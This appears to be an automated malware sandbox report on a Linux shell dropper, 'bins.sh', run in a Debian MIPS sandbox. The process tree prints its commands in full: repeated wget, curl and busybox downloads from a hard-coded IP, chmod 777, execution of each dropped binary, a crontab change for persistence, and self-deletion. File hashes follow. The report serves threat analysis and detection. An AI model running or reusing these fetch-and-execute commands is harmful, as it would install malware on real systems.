Analysis

  • max time kernel
    149s
  • max time network
    90s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25-11-2024 23:59

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    81a496ac5416f01f492d7eb50039a21c

  • SHA1

    ecfdd7164357b662411ff449bec53c5a7aebc3cf

  • SHA256

    ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423

  • SHA512

    45b404d7ae5e72ba3958dd00940279dfbf8241c3cf0b9f85a3c8735ebec4fb038a3159df3a80636388025d7149d216ca1a9587dd99c5ecde8754380b8a3ee4be

  • SSDEEP

    96:UmC6SBd7G2JT0a6MHjOszPlaqL7Z7p7Fa2F8mEwFC6SBd7wJfbozzPlaqLWy7Z7Z:Un02VUmF1Fa2ypF1Fa2l

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          ./LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            ./gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • Executes dropped EXE
            PID:753
          • /bin/rm
            rm gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • Writes file to tmp directory
              PID:768
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • Writes file to tmp directory
              PID:780
            • /bin/chmod
              chmod 777 JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • File and Directory Permissions Modification
              PID:788
            • /tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              ./JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:790
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:792
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:793
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:796
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:797
                  • /bin/rm
                    rm JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
                    2⤵
                      PID:801
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                      2⤵
                        PID:804
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                        2⤵
                          PID:805
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                          2⤵
                          • Writes file to tmp directory
                          PID:806
                        • /bin/chmod
                          chmod 777 d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                          2⤵
                          • File and Directory Permissions Modification
                          PID:807
                        • /tmp/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                          ./d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                          2⤵
                          • Executes dropped EXE
                          PID:808
                        • /bin/rm
                          rm d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                          2⤵
                            PID:810
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                            2⤵
                              PID:811
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                              2⤵
                                PID:812
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                                2⤵
                                • Writes file to tmp directory
                                PID:813
                              • /bin/chmod
                                chmod 777 QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                                2⤵
                                • File and Directory Permissions Modification
                                PID:814
                              • /tmp/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                                ./QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                                2⤵
                                • Executes dropped EXE
                                PID:815
                              • /bin/rm
                                rm QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                                2⤵
                                  PID:817
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6
                                  2⤵
                                    PID:818
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6
                                    2⤵
                                      PID:819
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:820
                                    • /bin/chmod
                                      chmod 777 iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:827
                                    • /tmp/iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6
                                      ./iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6
                                      2⤵
                                      • Executes dropped EXE
                                      PID:828
                                    • /bin/rm
                                      rm iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6
                                      2⤵
                                        PID:831
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/exjgc4UHt6HIYkQ1SsYPKRm1K1gBXB8D8h
                                        2⤵
                                          PID:832
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/exjgc4UHt6HIYkQ1SsYPKRm1K1gBXB8D8h
                                          2⤵
                                            PID:836
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/exjgc4UHt6HIYkQ1SsYPKRm1K1gBXB8D8h
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:838
                                          • /bin/chmod
                                            chmod 777 exjgc4UHt6HIYkQ1SsYPKRm1K1gBXB8D8h
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:849
                                          • /tmp/exjgc4UHt6HIYkQ1SsYPKRm1K1gBXB8D8h
                                            ./exjgc4UHt6HIYkQ1SsYPKRm1K1gBXB8D8h
                                            2⤵
                                            • Executes dropped EXE
                                            PID:850
                                          • /bin/rm
                                            rm exjgc4UHt6HIYkQ1SsYPKRm1K1gBXB8D8h
                                            2⤵
                                              PID:853
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/DlXEvRZemC7VkAn71M7PQf6onKx0YujTsJ
                                              2⤵
                                                PID:854
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/DlXEvRZemC7VkAn71M7PQf6onKx0YujTsJ
                                                2⤵
                                                  PID:857
                                                • /bin/busybox
                                                  /bin/busybox wget http://216.126.231.240/bins/DlXEvRZemC7VkAn71M7PQf6onKx0YujTsJ
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:859
                                                • /bin/chmod
                                                  chmod 777 DlXEvRZemC7VkAn71M7PQf6onKx0YujTsJ
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:865
                                                • /tmp/DlXEvRZemC7VkAn71M7PQf6onKx0YujTsJ
                                                  ./DlXEvRZemC7VkAn71M7PQf6onKx0YujTsJ
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:866
                                                • /bin/rm
                                                  rm DlXEvRZemC7VkAn71M7PQf6onKx0YujTsJ
                                                  2⤵
                                                    PID:868
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/ynXFngW5O9eMkeTpGTs3U7ttVtLko7nCzP
                                                    2⤵
                                                      PID:869
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/ynXFngW5O9eMkeTpGTs3U7ttVtLko7nCzP
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:870
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/ynXFngW5O9eMkeTpGTs3U7ttVtLko7nCzP
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:871
                                                    • /bin/chmod
                                                      chmod 777 ynXFngW5O9eMkeTpGTs3U7ttVtLko7nCzP
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:872
                                                    • /tmp/ynXFngW5O9eMkeTpGTs3U7ttVtLko7nCzP
                                                      ./ynXFngW5O9eMkeTpGTs3U7ttVtLko7nCzP
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:873
                                                    • /bin/rm
                                                      rm ynXFngW5O9eMkeTpGTs3U7ttVtLko7nCzP
                                                      2⤵
                                                        PID:875
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/ywuE2Z51GPC4Rsv41qZHKyHMv2doIKfFbc
                                                        2⤵
                                                          PID:876
                                                        • /usr/bin/curl
                                                          curl -O http://216.126.231.240/bins/ywuE2Z51GPC4Rsv41qZHKyHMv2doIKfFbc
                                                          2⤵
                                                            PID:877
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/ywuE2Z51GPC4Rsv41qZHKyHMv2doIKfFbc
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:878
                                                          • /bin/chmod
                                                            chmod 777 ywuE2Z51GPC4Rsv41qZHKyHMv2doIKfFbc
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:879
                                                          • /tmp/ywuE2Z51GPC4Rsv41qZHKyHMv2doIKfFbc
                                                            ./ywuE2Z51GPC4Rsv41qZHKyHMv2doIKfFbc
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:880
                                                          • /bin/rm
                                                            rm ywuE2Z51GPC4Rsv41qZHKyHMv2doIKfFbc
                                                            2⤵
                                                              PID:882
                                                            • /usr/bin/wget
                                                              wget http://216.126.231.240/bins/9SY86W3IU8sIF67tMs1zDD1RNYkkORyORr
                                                              2⤵
                                                                PID:883

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /tmp/DlXEvRZemC7VkAn71M7PQf6onKx0YujTsJ

                                                              Filesize

                                                              127KB

                                                              MD5

                                                              89077b7bd4bcafca7713be43635c4862

                                                              SHA1

                                                              fc02edb8fba29ea8ee99e6157ef8560334530052

                                                              SHA256

                                                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                              SHA512

                                                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                            • /tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

                                                              Filesize

                                                              151KB

                                                              MD5

                                                              6c583043d91c55aa470c08c87058e917

                                                              SHA1

                                                              abf65a5b9bba69980278ad09356e53de8bb89439

                                                              SHA256

                                                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                              SHA512

                                                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                            • /tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2

                                                              Filesize

                                                              141KB

                                                              MD5

                                                              3ca8decdb1e52c423c521bfff02ac200

                                                              SHA1

                                                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                              SHA256

                                                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                              SHA512

                                                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                            • /tmp/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4

                                                              Filesize

                                                              99KB

                                                              MD5

                                                              9438d9bc392bcf300a5583b6df5bc8f6

                                                              SHA1

                                                              375a6ae34b516f6f3eeea8030c4084f585017efa

                                                              SHA256

                                                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                              SHA512

                                                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                            • /tmp/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I

                                                              Filesize

                                                              122KB

                                                              MD5

                                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                                              SHA1

                                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                              SHA256

                                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                              SHA512

                                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                            • /tmp/exjgc4UHt6HIYkQ1SsYPKRm1K1gBXB8D8h

                                                              Filesize

                                                              98KB

                                                              MD5

                                                              5141342d0df8699fa32a6b066a0c592e

                                                              SHA1

                                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                              SHA256

                                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                              SHA512

                                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                            • /tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

                                                              Filesize

                                                              151KB

                                                              MD5

                                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                                              SHA1

                                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                              SHA256

                                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                              SHA512

                                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                            • /tmp/iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6

                                                              Filesize

                                                              119KB

                                                              MD5

                                                              1b166b95f9cb4b079ef1b9ec8363ddf3

                                                              SHA1

                                                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                              SHA256

                                                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                              SHA512

                                                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                            • /tmp/ynXFngW5O9eMkeTpGTs3U7ttVtLko7nCzP

                                                              Filesize

                                                              111KB

                                                              MD5

                                                              701e7a55a4f3650f5feee92a9860e5fc

                                                              SHA1

                                                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                              SHA256

                                                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                              SHA512

                                                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                            • /tmp/ywuE2Z51GPC4Rsv41qZHKyHMv2doIKfFbc

                                                              Filesize

                                                              111KB

                                                              MD5

                                                              ca897a38f23ec23521ce0b1b83f8422d

                                                              SHA1

                                                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                              SHA256

                                                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                              SHA512

                                                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                            • /var/spool/cron/crontabs/tmp.NUz4CJ

                                                              Filesize

                                                              210B

                                                              MD5

                                                              ff1562c91505627577e9512569024213

                                                              SHA1

                                                              25a89aa7f6a174b446193f2666016c45049d4bff

                                                              SHA256

                                                              d43748ace72553d71357670ba45b1bd26565f5a9e986444562f0f8d82bc61bd2

                                                              SHA512

                                                              08a89d3e2755c4a7017dd32f764795f5ff9a9a03d9173686941ac70fe215cab57fe17d1023f8e7cc65b12e1ed949a8e999e4d324899fba9eb8f408b2fb0ccbac